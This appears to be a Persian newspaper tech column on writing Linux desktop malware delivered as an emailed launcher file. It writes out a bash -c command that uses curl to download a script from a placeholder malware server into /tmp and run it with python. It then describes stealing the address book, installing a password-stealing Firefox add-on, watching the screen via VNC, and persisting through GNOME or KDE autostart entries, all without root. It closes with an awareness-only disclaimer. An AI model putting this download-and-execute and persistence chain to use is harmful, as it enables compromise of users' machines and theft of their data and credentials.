در تپش این هفته، ماجرای فریب و تعرض در پوشش عرفانهای دروغین و رمالی را بررسی کردیم
البته این را هم ذکر کردیم که اجرا کردن یک برنامه با استفاده از غفلت کاربر، نیازمند تلاش زیادی برای گمراه کردن او و استفاده از عناصر جانبی برای تشویق او به اجرای فایل پیوستی ماست. همچنین بررسی کردیم که میتوان از طریق ایمیل، یک فایل سکوی پرتاب (Launcher) برای کاربر ارسال کرد و در آن دستور زیر را نوشت:
bash -c "curlhttp://www.some_malware_ %
server.org/s.py -o /tmp/s.py; python /tmp/s.py"
این دستور چه کار میکند؟ پایانه bash را اجرا میکند، یک عبارت متنی با دو دستور ساده درون آن، به این پایانه ارسال میکند تا آنها را اجرا کند. اولین دستور، CURL، اسکریپتی از یک سروری که مثلا ما ویروسمان را آنجا پنهان کردهایم، دریافت میکند و بعد آن را داخل مسیر /tmp ذخیره میکند.
توجه کنید که در برخی از سیستمها مثل اوبونتو، curl نصب نشده و بهجای آن دستور مشابهای با عنوان wget وجود دارد. در واقع، این تفاوتها کمی کار دستور نویسی را سخت میکند، اما قطعا مشکلی در سر راه بهحساب نمیآید.
دستور دوم، که فراخوانی است برای مفسر پایتون، اسکریپت تازه دانلود شده را اجرا میکند. در بیشتر مواقع، پایتون و curl(یا wget) بهطور پیشفرض در توزیعهای لینوکسی نصب هستند.
حالا اگر این دستور را توی خط exec فایل سکوی پرتاب قرار بدهیم، کافی است کلیکی ساده روی آن انجام شود تا دستور ما اجرا شود، دستور ما به دو دستور کوچکتر تقسیم میشود که در نهایت به دریافت و اجرای بدافزاری که نوشتهایم، منجر خواهد شد.
برای مالکیت، نیازی به ریشه نیست
هیچ کدام از دستورهایی که گفتیم دسترسی ریشه (Root) نمیخواهند. اسکریپتما میتواند هر کاری که دوست دارد با حساب کاربر بکند. اما کارهایی که این اسکریپت توانایی انجامشان را دارد، محدود به دسترسیهای کاربر است.
مثلا میتوانیم دفتر آدرس کاربر را شخم بزنیم، آنها را به سرورمان ارسال کنیم، ایمیل بفرستیم یا همین ویروس را با ایمیل گسترش دهیم. میتوانیم یک وصله فایرفاکس نصب کنیم که پسوردها را بدزدد. میتوانیم بدون آنکه کاربر بفهمد، با کمک VNC، صفحه میز کارش را ببینیم و تمام این کارها را با دسترسی عادی کاربر انجام میدهیم.
در عموم حالتها هم، کامپیوتر رومیزی یک کاربر دارد که آن یک کاربر معمولا دسترسیهایی بسیار شبیه به دسترسیهای ریشه دارد، بنابراین، میزان صدماتی که بدافزار ما میتواند وارد کند، بیشتر و بیشتر میشود.
شروع خودکار بعد از آغاز سیستم
اما بیایید اینطور فکر کنیم که کاربر از اجرای پردازشهای ناخواسته روی سیستماش مطلع میشود و آنها را میکشد و بعد سیستم را مجدد راهاندازی میکند، حالا میخواهیم کاری کنیم که بعد از بوت هم بدافزار ما اجرا شود.
با کمک ویژگی autolaunch باز هم نیازی به دسترسی ریشه برای تعیین برنامههای آغازین سیستم هنگام راهاندازی نداریم.
خیلی از برنامهها هستند که وقتی پوستهتان را باز میکنید، میتوانند اجرا شوند. اما بیایید واقعبین باشیم، کاربری که تا آن حد از نظر امنیتی غافل بوده است که فایل پیوستی ما را باز کند، قطعا در مدتهای طولانی پوسته را باز نخواهد کرد.
ما میخواهیم کاری کنیم که هر بار کاربر وارد گنوم یا کیدیئی شد، برنامه ما هم اجرا شود. در اینصورت برای میزکارهای گنوم ~/.config/autostart و برای میزکار کیدیئی ~/.kde/Autostart را ببینید. تنها کافی است بدافزار ما، یک مدخل هم آنجا برای خودش دست و پا کند و در اینصورت کاربر بهطور کامل در اختیار ماست.
همین بود، نوشتن بدافزار اصلی بهعهده خودتان. باز هم لازم است ذکر کنیم که اساسا قصد تشویق و یا پشتیبانی از بدافزار نویسی را نداریم و بهشدت چنین کاری را محکوم میکنیم. اما دانستن نقاط ضعف یک چیز، ما را کمک میکند هشیارتر باشیم و بیشتر حواسمان جمع کنیم.
محمدرضا قربانی
در تپش این هفته، ماجرای فریب و تعرض در پوشش عرفانهای دروغین و رمالی را بررسی کردیم
گزارش «جامجم» درباره دستاوردهای زبان فارسی در گفتوگو با برخی از چهرههای ادب معاصر
معاون وزیر بهداشت: